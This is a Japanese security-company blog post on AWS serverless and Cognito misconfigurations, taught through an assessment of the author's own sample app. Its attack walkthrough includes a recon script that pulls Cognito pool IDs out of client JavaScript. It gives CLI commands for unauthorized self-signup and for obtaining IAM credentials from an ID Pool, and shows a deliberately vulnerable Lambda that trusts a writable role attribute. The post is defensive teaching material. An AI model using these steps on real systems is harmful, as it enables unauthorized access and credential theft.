Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

AWS 診断を事例としたクラウドセキュリティ。サーバーレス環境の不備や見落としがちな Cognito の穴による危険性

こんにちは。本ブログに初めて記事を書く、株式会社 Flatt Security セキュリティエンジニアの Azara(@a_zara_n)です。普段は Web やプラットフォームの診断やクラウド周りの調査、Twitter ではご飯の画像を流す仕事をしています。よろしくお願いします。

クラウドサービスが発展し続ける今日この頃、多くの企業がパブリッククラウドやプライベートクラウドなどを駆使し顧客へサービス提供しているのを目にします。そのような中で、サービスが利用するクラウドにおいて設定不備や意図しない入力、構成の不備により顧客情報や IAM をはじめとする認証情報が脅かされるケースが多々あります。

本記事では、そのような脅威の一例をもとにクラウドサービスをより堅牢で安全に利用する一助になればと、攻撃手法や対策などについて解説をしていきます。

また、私の所属する 株式会社 Flatt Security では、AWS をはじめとしたクラウドサービスに対する全般的な診断サービスを提供しています。EC2 上にホストされているアプリケーションはもちろんのこと、今回のようなサーバーレスなアプリケーションや AppSync などの GraphQL を用いたアプリケーションに関しても診断も可能です。

セキュリティに関する相談や診断についての相談をしたいという場合は、ぜひ下記バナーからお問い合わせください。

本ブログの内容について

本ブログの内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。

目次

1. クラウドにおけるセキュリティ

近年多くの企業でパブリッククラウドやプライベートクラウドを活用しサービスを提供しているという事例を目にします。その活用するサービスの中にも Firebase をはじめとする mBaaS や AWS EC2 のような VM を提供する IaaS、GKE や EKS のような Kubernetes 環境を提供するものなど、様々な配信モデルが存在しています。このような抽象化されたクラウドサービスを利用することにより、サービスを提供する企業は比較的容易かつ安定してアプリケーションを提供することが可能になりました。

しかし、これらサービスにおいて設定のミスが起因するインシデントが近年話題にあがっています。そのようなインシデントを起こしてしまう前にどのような取り組みや考え方があるのかについて触れていきましょう。

1.1. 責任共有モデル

まずはじめにクラウドにおけるセキュリティの基礎となる責任共有モデルから話していきます。

この責任共有モデルは AWS をはじめとしたパブリッククラウドの提供者からサービス利用者に対して提示される責任の分離に関する共通認識です。

詳細な解説につきましては本記事では触れませんが、記事を読んでいく上で責任共有モデルは次のような形で利用者に利点を提供するものだということを認識していただければと思います。

1 つ目は、利用者がサービスごとに設定された範囲でサービスの提供者にセキュリティ対策とその責任を移転できるという点です。例えば、今まであれば自社で管理・保有をしていた物理サーバーやネットワーク機器及びそれに関連する資産とセキュリティなどの運用及び管理がサービス提供者側に移ります。物理レベルの脆弱性へのパッチなどが OS レベルで施された場合は利用者が担当する場合もありますが、基本的に利用者である私たちはサービスの管理者が提供するレイヤーにおけるセキュリティ対策と責任を意識することなく利用することができます。

2 つ目に、利用者は多くの場合、オンプレミスに比べ少ない労力で効率的にセキュリティに対応することができる点が挙げられます。例えば IaaS であれば OS から上のレイヤーに対してセキュリティパッチを当てることやファイアーウォールの設定に対して責任を負い、フルマネージドサービスであれば保存するデータとそれに関連する操作の設定に対して責任を負うだけで済みます。

責任共有モデルについて、簡単に理解していただけたでしょうか。ここで説明した事以外にはどのような手助けをしてくれるのか、 AWS を例に順を追ってみていきましょう。

aws.amazon.com

1.2. ベストプラクティス

AWS ではWell-architectedという AWS のインフラストラクチャ構築に関するベストプラクティスを提供しています。

aws.amazon.com

この Well-architected には「優れた運用効率」「セキュリティ」「信頼性」「パフォーマンス効率」「コストの最適化」という 5 つの柱があり、このベストプラクティスを参考にすることで、独自のアプリケーションの実装に依存しない部分のセキュリティ対策を補強することができます。

また、各サービスごとに用意されているベストプラクティスにおいてさらに詳しくそのサービスの特性に沿ったセキュリティ対策が提唱されており、これらを参考にすることも推奨されています。

参考:

docs.aws.amazon.com

docs.aws.amazon.com

docs.aws.amazon.com

1.3. IAM における特権とセキュリティ

AWS ではサービスごとの操作を許可するための特権があり、それらを適切かつ最小の状態でポリシーとして IAM Role やユーザーに付与するべきであることが、上述したベストプラクティスにて述べられています。

では、このベストプラクティスを守ることにより、どのような効果が期待されるのでしょうか?

そのうちのひとつは、IAM が流出した際の被害を最小限にするというものです。例えば、S3 にファイルをアップロードするだけであればs3:PutObjects3:PutObjectAclを特権として付与することで動作します。

しかし、この IAM にs3:ListBuckets3:GetObjectのような特権が付与されていたらどうなるでしょうか?

S3 がベストプラクティスに則らず暗号化を施していない場合、S3 バケット内にある機密性の高いオブジェクトにアクセスできてしまいます。このように必要最小限でない権限を付与してしまうことで、入手した IAM を悪用して情報を抜き取ることができてしまいます。

また、IAM の権限を最小化することにより特権を昇格させる機会を減らすことができるという効果があります。特権の昇格手順の例として、既存のインスタンスプロファイルを利用した EC2 の作成と IAM Role の付与による特権の昇格について見ていきます。

この特権昇格に必要な特権の組み合わせはiam:PassRoleec2:RunInstancesであり、IAM Role や IAM Role を付与する際に利用するインスタンスプロファイルなどの前提情報さえ有していればあっさりと新たな特権を取得することができます。但し、この特権の昇格自体は、Full access や各種 admin などの強力なもの、もしくは次の特権の昇格につながるような有効な特権を有した IAM Role とインスタンスプロファイルが存在した場合にのみ有効な手段です。

このほかにも一見管理者特権の奪取に至らないような複数の特権の組み合わせにより管理者特権など強い特権が奪取されてしまう恐れがあります。このような権限の意図しない組み合わせを防ぐためにも、利用するサービスが必要とする最小特権の把握、及び特権昇格につながる組み合わせを把握しておく必要があります。

※この特権昇格に関して詳しく書かれた記事としてRhino Security Labsが公開している技術ブログが参考になるので是非ご覧ください。

rhinosecuritylabs.com

1.4. サーバーレスアーキテクチャ

IaaS や PaaS など、オンプレミスのサーバーを利用せずにマネージドサービスを組み合わせて設計・運用する手法として「サーバーレスアーキテクチャ」と呼ばれるものがあります。AWS では Lambda や S3、API Gateway、DynamoDB、Kinesis などのマネージドサービスが数多く展開されておりサーバーレスなサービスを構築する上でやりやすい環境です。

このサーバーレスアーキテクチャ(以下、サーバーレス)と呼ばれる設計手法を用いると利用者がオンプレミスや IaaS/PaaS などのサーバーを用いていた際に発生していた、運用やインフラそのものの障害対応、システムの冗長化や拡張性の考慮、ミドルウェアの脆弱性管理やネットワーク周りのセキュリティなどの運用時の煩わしい課題から開放され、コストの抑制やサービスへのリソースの注力などが期待されます。

しかし、サーバーレスではサーバーレス特有のセキュリティ対策が必要です。サーバーレスを実現するためには、往々にして複数のサービスを組み合わせて利用することになります。そのため、個々のサービスの設定における煩雑さやビジネスロジックにおける権限チェックの見落としなどに起因するセキュリティ上の課題が発生しやすくなってしまうのです。

例えば本記事で多く触れることになる Cognito のような ID プロバイダーであったり、ユーザーに付与される IAM のアクセス制御であったり、はたまた S3 のようなサービスから受け取ったイベントにより駆動する Lambda であったりとあらゆる場所に目を光らせないといけません。

そのようなサーバーレスのセキュリティについて本記事では AWS のサービスに主眼をおきながらサービスごとや場面によって発生する課題について解説していきます。


2. クラウド環境への侵入テストに関して

AWS をはじめとするパブリッククラウドでは侵入テスト(セキュリティ診断)に関する申請などに対してポリシーを設けている場合があります。現時点では下記の画像のように EC2 をはじめとする頻繁に利用されるようなサービスでは侵入テストが許可されています。

aws.amazon.com


3. 本記事で利用するサービスについて

本記事では、多くの AWS サービスを利用します。そこでこの章では、それらサービスについて軽く解説を行います。

さらに詳しい内容については、自分自身でドキュメントを見ていただくか、自分自身で触っていただくことをお勧めします。

3.1. IAM

IAM (Identity and Access Management:アイアム)とは、AWS のサービスで「認証」と「認可」などのアクセス制御の設定や管理を安全に行うことができる Web サービスです。 AWS アカウントとは異なり、AWS アカウントは契約を管理するアカウントであるのに対して、IAM は各種サービスへのアクセスを管理する機能です。 ユーザーは、この IAM の発行する鍵を用いてサービスの管理や操作、活用を行います。 IAM はセキュリティの観点からみると、とても重要な位置付けにあります。 IAM の発行する鍵の流出などが発生した場合に、サービス自体が大変危険な状態となる可能性があります。 そのため IAM の管理や設定項目は、診断においては、重点的に調査する必要があるものになります。 IAM では実際に、多段階認証・多要素認証を導入して認証の精度を高めることができます。 AWS では、ID とパスワード以外の認証として MFA (Multi-Factor Authentication)デバイスを使うことがあります。 IAM の構成には、IAM ユーザー(グループ)や IAM ポリシー、IAM ロールがあります。

3.1.1. ポリシー(Policy)

ポリシーとは、IAM ユーザー(グループ)やロールごとに AWS リソースへの操作権限を設定する機能のことです。 ポリシーというものに対して、操作を実行する者がどのサービスにアクセスできるのかを設定しておき、これをユーザーやロールに紐付けて管理します。 これにより、個別に権限を設定するのではなく、ポリシーをユーザーやロール、グループなどに適用することで設定することができます。

ポリシーは AWS が初めから提供するものや、利用者が独自で設定したポリシーなどがあり、これらを組み合わせて柔軟に操作権限周りを設定・管理することができます。

3.1.2. ロール(Role)

ロールとは、AWS のサービスやアプリケーション、他のアカウントに対して AWS の操作権限を付与するための仕組みです。 IAM ユーザーなどとは違い、AWS サービスやプログラムなどに直接的にポリシーを適用させることができます。 良く使われるサービスは、S3 や EC2 、 Lambda などがあります。

3.2. S3

S3 (Simple Storage Service)とは、AWS サービスで提供されている容量無制限のオブジェクトストレージサービスです。 オンラインストレージサービスとして高い SLA が保証されていて、あらゆることに活用できます。 S3 の各オブジェクトには、SOAP などの HTTP ベースの WebAPI を使ってアクセスして利用することができます。 例として、データのバックアップやデータ解析用のデータレイク、ハイブリットクラウドストレージ、静的な Web サイトやメディアコンテンツの配信なども行うことができます。 多くのユースケースで使える S3 ですが、その分多くの危険性もあります。 先程も述べた IAM などが正しく適用されていない場合に誰でも目的の情報にアクセスできてしまうなどの事例が多く発生しています。 そういった観点も診断などで適切に使われているのかを確かめる必要があります。 S3 の構成として、バケットやオブジェクトというものがあります。

3.2.2. バケット

バケット(bucket)とは、オブジェクトを保存するための領域を指します。 バケット自体は、AWS 内で一意である必要があり、バケット内のオブジェクト数には制限はありません。 そしてバケットには、いくつかの設定可能な項目があります。 その設定は、S3 を効率良く操作するためや管理するために設定することができます。 バケットには、直接アクセス制限をかけることもできます。 バケット単位で制御するバケットポリシーや IAM ユーザー単位で制御するユーザーポリシー、ACL(Access control List)の 3 種類の管理方法があります。 他にも署名付き URL を AWS SDK を利用して生成することで発行することができます。

3.2.2. オブジェクト

オブジェクト(object)とは、S3 に保存されるデータやファイルのことを指します。 オブジェクトの中身は、アップロードされるファイル(data)やオブジェクト管理のための情報(metadata)なども含まれていて、各オブジェクトにはキーが付与されます。 そして全てのオブジェクトは、バケットに格納されます。 オブジェクト自体は、WebAPI 経由で操作をすることが可能です。 そのため効率よく保存したデータを活用することができます。

3.3. Lambda

AWS の提供するコード実行が可能なコンピューティングリソースで、FaaS と呼ばれる部類のサービスです。

AWS 上では API Gateway と連携し API として活用されるケースや、S3 にオブジェクトがアップロードされた際のイベント処理など多くの箇所で活用されております。

3.4. Cognito

Amazon Cognito は Web アプリケーションやモバイルアプリケーションの認証・認可・ユーザー管理などの、サービスにおいて重要な処理を担うサービスです。

このサービスは主に2つのコンポーネントから構成されており、1つはアプリを利用するユーザーのサインアップやサインイン、ユーザーの管理をするUser Poolで、もう1つは UserPool で認証されたユーザーに対して AWS の他のサービスに対してアクセスを許可するID(Identity)Poolです。

3.4.1. Cognito User Pool

このコンポーネントでは、サービスの認証や認可、ユーザーの管理など IDaaS のような要素が強く、後述する ID Pool とは独立して利用することができます。

このコンポーネントはアカウント作成に関してはサービスの特性に合わせて変更ができ、招待制や会員制のようなアカウント作成を運営側が行うようなサービスの場合、アカウント作成を管理者のみできるようになっています。また、属性の読み込みや書き換えなどに関してもアプリクライアントと呼ばれる Cognito User Pool へのアクセスの際に利用する ID を通して可否を判断します。

Cognito User Pool の認証フローとしてまず始めに Cognito User Pool へ認証のリクエスト(USER_SRP_AUTH/図内では InitateAuth)を送信します。これに成功すると、パスワードの確認のためPASSWORD_VERIFIERという Challenge を返します。そのチャレンジに対してRespondToAuthChallengeで適切な認証用のチャレンジに応答することで Cognito から各種トークンを取得できます。

※ 画像は AWS 公式ドキュメントから引用

docs.aws.amazon.com

このように認証を終えるとAccessTokenIdTokenRefreshTokenというトークンが私たちの手元にやってきます。

この 3 つのトークンそれぞれの役割として、IdTokenは主に API Gateway の認可の際にAuthorizationヘッダーを利用し、オーソライザーを経由しユーザーのアクセス制御に利用されます。次にAccessTokenはユーザー情報の操作の際に、Cognito に対して利用します。この際にクライアント ID を用いることで、属性変更の許可などを確認します。最後にRefreshTokenです。このトークンは上の二つのトークンの有効期限が切れた際に利用するものです。

docs.aws.amazon.com

3.4.2. Cognito ID Pool

このコンポーネントは、User Pool と連携し、そのユーザーが他の AWS のサービスにアクセスする許可を与えます。アクセスの許可を与える際には、下記のような実装を行うことで、AccessKeyIdSecretKeySessionTokenなどの認証情報を取得することができます。

// 公式ドキュメントより
// https://docs.aws.amazon.com/ja_jp/cognito/latest/developerguide/amazon-cognito-integrating-user-pools-with-identity-pools.html
var cognitoUser = userPool.getCurrentUser();

if (cognitoUser != null) {
  cognitoUser.getSession(function (err, result) {
    if (result) {
      console.log('You are now logged in.');

      // Add the User's Id Token to the Cognito credentials login map.
      AWS.config.credentials = new AWS.CognitoIdentityCredentials({
        IdentityPoolId: 'YOUR_IDENTITY_POOL_ID',
        Logins: {
          'cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>': result
            .getIdToken()
            .getJwtToken(),
        },
      });
    }
  });
}

docs.aws.amazon.com

ここで発行される認証情報は、Cognito ID Pool に付与された IAM Role に対して許可された特権に対してアクセスを許可します。この IAM Role に付与されたポリシーを元に STS が一時的な認証情報を発行し、リソースやデータへのアクセス制御を施すことにより、安全に認証情報を発行することができます。

※ 画像は AWS 公式ドキュメントから引用

ここで発行された認証情報は AWS の SDK や Amplify などを用いた場合ブラウザのローカルホストに格納され、各種アクセスの際に SDK がそれら認証情報を取得し、サービスに対して操作を行います。

3.5. DynamoDB

DynamoDB は AWS の提供するフルマネージド型の NoSQL データベースサービスで、高速で、予測可能なパフォーマンスとシームレスなスケーラビリティを特徴として持っています。

3.6. API Gateway

Amazon API Gateway は、あらゆる規模の REST、HTTP、WebSocket API を作成、公開、管理、モニタリング、保護するための AWS サービスです。

このサービスは、先に挙げた Cognito User Pool と連携することができ、API のオーソライザーとして Cognito User Pool を指定することができます。


4. AWS のサーバーレス環境に対する攻撃と対策

この章からはサンプルアプリケーションを元に、サーバーレスでよく利用される AWS サービスの設定ミスや構成のミス、埋め込まれやすい脆弱性について見ていきます。

4.1. 攻撃対象となるサンプルアプリの解説

本記事では筆者が自作した診断練習用のサンプル SNS "Tsubuyaki"を元に解説を進めていきます。

このサンプルアプリは内部のユーザーから招待されない限り閲覧も投稿もできないという設定になっています。下の図のような構成になっており、Cognito や API Gateway、S3 などの AWS におけるマネージドサービスの代表的なものを多く使っています。

役割 サービス名
認証/認可 Cognito
API 管理 API Gateway
ユーザー情報 Cognito + Lambda
招待と管理 SES + Lambda + DynamoDB
管理用 API(mock) Lambda
各種情報の保存 DynamoDB
その他 API Lambda
ファイルの格納 S3
ファイルのバリデーションと移動 Lambda
静的ファイルの配信 CloudFront

フロントエンドは Vue.js + TypeScript で記述しており、Amplify は利用していません。ビルドした JS ファイルと CSS ファイルは static.sample.app.bucket に格納し、/js/cssに配置されます。

それでは次に詳しい機能の説明に進みます。

このアプリケーションはユーザーの Tsubuyaki を発信することで、仲間内の何気ない一言を共有する SNS です。

この SNS の特徴として、ユーザー個人が次の新しいユーザーを招待する機能があり、この招待がないと SNS の新規アカウントは作成できないように設計されています。

これ以外にもフレンド機能が備わっており、ミニマルで簡単な SNS になっています。

4.1.1. Cognito の属性について

次に Cognito の属性について説明していきます。

Cognito には attribute が存在しており、標準属性は OpenID Connect の仕様に則って実装されています。また、標準属性以外にもカスタム属性と呼ばれる利用者が設定できる属性があり、この属性を用いることにより柔軟なユーザー情報の設定などができます。

今回のこのアプリには次のようなカスタム属性が追加されており、アプリケーション内部で利用されています。

このカスタム属性には通常のカスタム属性と、管理者向けの DeveloperOnlyAttribute があります。 DeveloperOnlyAttribute は、クライアントからの操作を受け付けずに、管理者 API のみからの操作のみ受け付けるというものです。

また、Cognito に接続する際に、アプリクライアントを発行する必要があり、そのアプリクライアントには属性の読み書きに関する設定をすることが可能です。

今回の場合は全てを ON にしている状態にしていますが、本来は必要なものだけ読み取り可能にすることが良いとされています。

4.2. 調査

この項目では実際に Burp Suite などのローカルプロキシツールなどを利用しながらサーバーレスなアプリケーションを調査する際に必要なエンドポイントの列挙や情報、動作の確認について触れていきます。

その際に、CDN で配信されている JS ファイルやブラウザローカルストレージの動き、バケット名なども必要になるのでしっかりと情報の取得と整理をしていきましょう。

4.2.1. HTTP 通信から取得できる情報の収集

脆弱性診断をはじめとする診断において、アプリケーションの通信をロギングすることが一般的です。その通信の中には、単体で見ると重要でないものの、アプリケーションのロジック上必要になるパラメーターが含まれていることがあり、それがアクセス制御系の脆弱性を発見するヒントになる場合があります。そのため、どのような通信であってもアプリケーションに関連する通信に関してはロギングしていきましょう。

今回の場合 Cognito や S3 等の通信をロギングすることにより、自分のアイコンを変更する際や Tsubuyaki の画像を投稿する際に S3 や Cognito に関連するリクエストを送っていることがわかります。また ID Pool へ IAM を取得するためのリクエストを送信していることも確認できました。

このような通信から情報を得ることによりどのような効果が期待できるのかを軽く触れていきましょう。

詳細は後述しますが、このサンプルアプリではtmp.sample.app.bucketという S3 バケットが使われています。このバケットには/icon/<user_id>/というプレフィックスにpng/jpegをアップロードするとstatic.sample.app.bucket/<user_id>/配下に icon として移動させるための Lambda 関数があります。この<user_id>は自分の JWT を解析した際にsubとして格納されていたもので、他のユーザーの<user_id>が奪取できたとすると他人の icon を変更できる可能性があります。このような場合、先ほど収集した HTTP のログが役に立ちます。

サンプルアプリには User List を取得するための API があり、下記のようなレスポンスを返します。

HTTP/1.1 200 OK
Date: xxx, xx Oct 2020 xx:xx:xx GMT
Content-Type: application/json
Content-Length: xxx
Connection: close
x-amzn-RequestId: 2810****-****-****-****-****fa32e47d
Access-Control-Allow-Origin: *
x-amz-apigw-id: UwyqvEyR****Sfw=
X-Amzn-Trace-Id: Root=1-********-********6ae1195424b3c0c5;Sampled=0
Access-Control-Allow-Credentials: true

[
  {
    "id": "28e****-****-****-****-****75b473bc",
    "name": "testuser",
    "userId": "azara-sample-application",
    "icon": "/tmp/icon.png"
  },
  ~~snip~~
  {
    "id": "a517****-****-****-****-****0d2f1370",
    "name": "azara",
    "userId": "hogarashi",
    "icon": "/a517****-****-****-****-****0d2f1370/icon.png"
  }
]

このレスポンス内にsubというパラメータは存在しませんでしたが、Cognito の発行する UUID と同様の形式でidというパラメータが存在することがわかりました。この時点ではこのidが他人の<user_id>かどうかが確定できていないため推測の域を出ませんが、攻撃の際のヒントを入手したことになります。

もちろん、このような情報がすんなり手に入る場合もあれば、そもそもそういった情報が得られない場合もあります。しかし、今見たように通信を取得していることにより得られる情報も確かにあるので、しっかりとロギングをしておくことをお勧めします。

4.2.2. JavaScript ファイル の収集/整形/解析

この項目ではマネージドサービスに関わる情報を取得するための JS ファイルの収集/整形/解析について触れます。クライアント側の脆弱性調査やその他の解析については他に詳細な解説をしている方がいらっしゃいますので参考資料にその方の記事を添付しておきます。

no1zy.hatenablog.com

まず始めに JavaScript ファイルや HTML の内部に攻撃に必要となる情報がハードコーディングされている可能性があります。それらの情報を収集するためにファイルを注意深く見る必要があります。

今回の場合、 Cognito を利用しているのでUserPoolIdIdentityPoolId、アプリクライアントの ID などが含まれている場合があります。以下では、これらの情報の取得を目標に解析を行います。

まずは JavaScript ファイルの URL を取得しましょう。

Burp Suite のProxy -> HTTP historyにおいてFilter by MIME typeScriptフィルターをかけることにより、URL の一覧が表示されます。これにより必要な JavaScript ファイルの URL を取得することができます。

JavaScript ファイルの URL 取得後は実際にファイルを解析していきましょう。利用するツールは VSCode や grep などの好きな方法で良いのですが、取得したファイルが最適化され、一行に圧縮されている可能性があるので、js-beautifyなどを利用し整形することをお勧めします。

今回は shell script を利用し簡単なスクリプトを記述して解析をしていきます。

#!/bin/sh
# grepオプションの生成
# 利用されるような単語やリージョンなどをオプションの -e に指定する
GREP_OPT="-n -i -e clientid -e Pool"
for i in `aws ec2 describe-regions|jq -r ".Regions[].RegionName"`; do
    GREP_OPT=$GREP_OPT" -e "$i
done
# JSファイルの取得
FILENAME="index.js"
JSFILEURL="https://**************.cloudfront.net/js/index.js"
wget $JSFILEURL -O $FILENAME.download.js
# JSファイルの整形
js-beautify $FILENAME.download.js > $FILENAME
# めぼしい情報のgrep
grep `echo $GREP_OPT` $FILENAME

Cognito の UserPool や IDPool の ID は<リージョン>_<random>のような形式で命名されているため、リージョンを grep に含めることにより奪取したい情報の発見率をあげることができます。

以下が grep の結果になります。難読化などの対策をとっていない場合、このように簡単に収集できます。

230:                    Region: "ap-northeast-1",
231:                    UserPoolId: "ap-northeast-1_xxxxxxxxx",
232:                    ClientId: "xxxxxxxxxxxxxxxxxxxxxxxxxx",
233:                    IdentityPoolId: "ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
237:                    host: "xxxxxxxxxx.execute-api.ap-northeast-1.amazonaws.com",

~~snip~~

JavaScript ファイル の収集/整形/解析はここまでです。

4.2.3. トークン に含まれる情報について

3.4.1 でも触れましたが、振り返りとしてもう一度 Cognito から発行されるトークンについて触れていきましょう。

Cognito で認証をするとAccessTokenIdTokenRefreshTokenが私たちの手元にやってきます。

この 3 つのトークンそれぞれの役割を以下で説明します。

IdTokenは主に API Gateway などの認可の際にAuthorizationヘッダーを介して利用されます。

次にAccessTokenはユーザー情報の操作の際に、Cognito に対して利用します。この際にクライアント ID を用いることで、属性変更の許可などを確認します。

最後にRefreshTokenです。このトークンは上の二つのトークンの有効期限が切れた際に利用するものです。

これらのうち、今回調査するのはIdTokenです。このトークンのペイロード部には閲覧可能な Claim(属性情報)が含まれており、攻撃をする際のヒントになります。

今回の Cognito の設定は以下の通りです。

{
  "sub": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "iss": "https://cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_xxxxxxxxx",
  "cognito:username": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "picture": "/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/icon.jpeg",
  "aud": "xxxxxxxxxxxxxxxxxxxxxxxxxx",
  "event_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "token_use": "id",
  "auth_time": 0000000000,
  "nickname": "hogehoge",
  "custom:account_id": "hogehoge",
  "exp": 0000000000,
  "custom:role": "user",
  "iat": 0000000000,
  "email": "hogehoge@flatt.tech"
}

今回は前もって Cognito の情報を知っていますが、攻撃者からするとcustom:roleと言う文字列は攻撃への大きなヒントとなってしまうかもしれません。

ここまでが今回の構成における調査フェーズの一例です。次からは実際の攻撃や対策について触れていきましょう。

4.3. サービス毎の攻撃/対策手法

AWS のサービスごとの設定ミスに対する検証方法や攻撃と対策について触れていきます。

4.3.1. Cognito User Pool への攻撃

ここでは、Cognito User Pool におけるロジックの不備や属性へのアクセスと変更に対する攻撃と対策についてまとめています。

4.3.1.1. 構成上不適切な自己サインアップの設定

まず始めに解説するのは構成上不適切な自己サインアップの設定についてです。

本記事で紹介しているサンプルアプリのようなクローズドな環境で利用されるアプリケーションでは、新規登録は誰かの紹介や管理者によるアカウントの作成が必要になるケースが多くあります。しかし、Cognito の自己サインアップを許可している場合、UI 上は存在しないサインアップを攻撃者ができてしまうケースがあります。

例として次のような流れでサインアップをしてみましょう。

まず始めに 1.のような最小限の状態でリクエストを送りましょう。この際に、自己サインアップを許可している場合、エラーが何かしらのヒントを与えてくれます。

その後エラーの内容にそって、必要な情報をオプションで指定していくとユーザーの新規登録が完了します。

# 0.もしプロキシを挟んで確認をしたい場合は下記の環境変数を設定し利用してください。
# Burp Suiteの場合
# BurpからCA Certificateを取得し
# openssl x509 -inform der -in cacert.der -out burp.pem
# export AWS_CA_BUNDLE=/Users/xxx/xxx/burp.pem
# export HTTP_PROXY=http://localhost:8080
# export HTTPS_PROXY=http://localhost:8080

# 1. 最小限の状態でのリクエスト
aws cognito-idp sign-up \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --username "test" \
  --password Passwordx_1 \
  --no-sign-request

# 自己サインアップが許可されている
An error occurred (InvalidParameterException) when calling the SignUp operation: Username should be an email.

# または
# 自己サインアップが許可されていない
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool

# 2. email形式のusernameを要求されたので形式を変更
aws cognito-idp sign-up \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --username "a***@f***.com" \
  --password Passwordx_1 \
  --no-sign-request

An error occurred (UsernameExistsException) when calling the SignUp operation: An account with the given email already exists.

# または

An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: nickname: The attribute is required

# 3. Attributesにnicknameが必要なので設定
aws cognito-idp sign-up \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --username "a***@f***.com" \
  --password Passwordx_1 \
  --user-attributes '[{"Name":"nickname","Value":"attacker"}]' \
  --no-sign-request

{
    "UserConfirmed": false,
    "CodeDeliveryDetails": {
        "Destination": "a***@f***.com",
        "DeliveryMedium": "EMAIL",
        "AttributeName": "email"
    },
    "UserSub": "********-*****-****-****-********"
}

# 4. email_verified
aws cognito-idp confirm-sign-up \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --username "a***@f***.com" \
  --confirmation-code "310121" \
  --no-sign-request

# 5. Loginの確認
aws cognito-idp initiate-auth \
  --client-id xxxxxxxxxxxxxxxxxxxxxxxxxx \
  --auth-flow "USER_PASSWORD_AUTH" \
  --auth-parameters '{"USERNAME":"a***@f***.com","PASSWORD":"Passwordx_1"}'

# トークンが取得できる
{
  "AuthenticationResult": {
    "AccessToken": "eyJ....",
    "ExpiresIn": 3600,
    "IdToken": "eyJ.....",
    "RefreshToken": "eyJ....",
    "TokenType": "Bearer"
  },
  "ChallengeParameters": {}
}

# n. 最後にProxyをunsetする
# unset HTTP_PROXY
# unset HTTPS_PROXY

また、この自己サインアップからの発展的な手法で、取得した ID トークンをもとに ID Pool から IAM 取得するものもあります。詳しい内容は NotSoSecure Global Services Limited 社が過去に発表したHacking AWS Cognito Misconfigurationsという記事を参照してください。

notsosecure.com

NotSoSecure Global Services Limited 社が発表した記事の中では、先ほどの自己サインアップによるユーザーの追加と、Cognito ID Pool からの IAM 取得、最後にその IAM の解析について触れています。

※ ID Pool から IAM を取得するまでの AWS CLI

# ID トークンをもとにIAM取得用のIDを取得
aws cognito-identity get-id \
  --identity-pool-id "ap-northeast-1:xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" \
  --logins \
  '{"cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-xxxxxxxxxxx":"eyJ....."}'\
  --query "IdentityId" \
  --output text --no-sign-request

ap-northeast-1:yyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyyy

# IAMの取得
aws cognito-identity get-credentials-for-identity \
  --identity-id "ap-northeast-1:yyyyy-yyyy-yyyy-yyyy-yyyyyyyyyyyyy"\
  --logins \
  '{"cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-xxxxxxxxxxx":"eyJ....."}'\
  --output text --no-sign-request

対策として、自己サインアップを許可しないことによりこの攻撃は防ぐことができます。

4.3.1.2. 不適切な設定のアプリクライアントの設定

Cognito ではアプリクライアントを用いることにより、IP プロバイダーの設定や OAuth2.0 にのっとったフローやスコープなどについて設定できるようになっています。また SignIn 時に取得できるトークンに関しても有効期限を決めることができるなど利用者による各種設定が可能になっています。

この項目ではその中でも属性に対する各種アクセス権限について触れていきます。

先の Cognito の属性についてでも触れましたが、Cognito には OpenID Connect に則った標準属性とユーザーが独自に設定することのできるカスタム属性というものがあります。

この属性に関して各種アクセス権限の管理を行っているのがアプリクライアントですが、初期のアクセス権限は読み込み/書き込み共に全てが許可状態になっています。このような状態でアプリケーションでユーザーから変更されないことを想定しこの標準属性を活用する場合、意図しない挙動が発生することがあります。もちろんカスタム属性に関しても同じことが言えます。

今回のサンプルアプリのようにカスタム属性に Role(独自に設定しているもの) のようなサービスそのもののアクセス権限に関わるものを持っていた場合はどうでしょうか?例えば今回のサンプルアプリでは、先に行った調査で ID トークン内のペイロード部に"custom:role": "user"というものが含まれており、この値を操作することができれば何かしらのアクセス制御を突破できるのではと推測することができます。

例えば、次のようなコードがサンプルアプリの/adminに設定されていたとします。このエンドポイントには API Gateway の認可として Cognito オーソライザーを設定しており、事前に検証した状態でトークンが入ってくるのである一定の安全性があります。しかし、アプリクライアント側で属性の書き換え権限があった場合、どのようなことが発生するでしょうか?

import json
import base64

# ペイロードの末端部の調整
def base64padding(b64text):
    return b64text + ("="*(len(b64text) % 4))


def getAttribute(bAuthInfo):
    return json.loads(
        base64.b64decode(
            base64padding(bAuthInfo)
        ).decode("UTF-8")
    )

def lambda_handler(event, context):
    authinfo = getAttribute(event['headers'].get("Authorization").split(".")[1])
    if not authinfo.get("custom:role"):
        return  {
            'statusCode': 400,
            'body': json.dumps({"message":"Missing role attribute."})
        }
    role = authinfo["custom:role"]
    if role != "admin":
        return  {
            'statusCode': 403,
            'body': json.dumps({"message":"Must be an admin to access this place."})
        }


    return {
        'statusCode': 200,
        'body': json.dumps({"message":"Admin! Admin!"})
    }

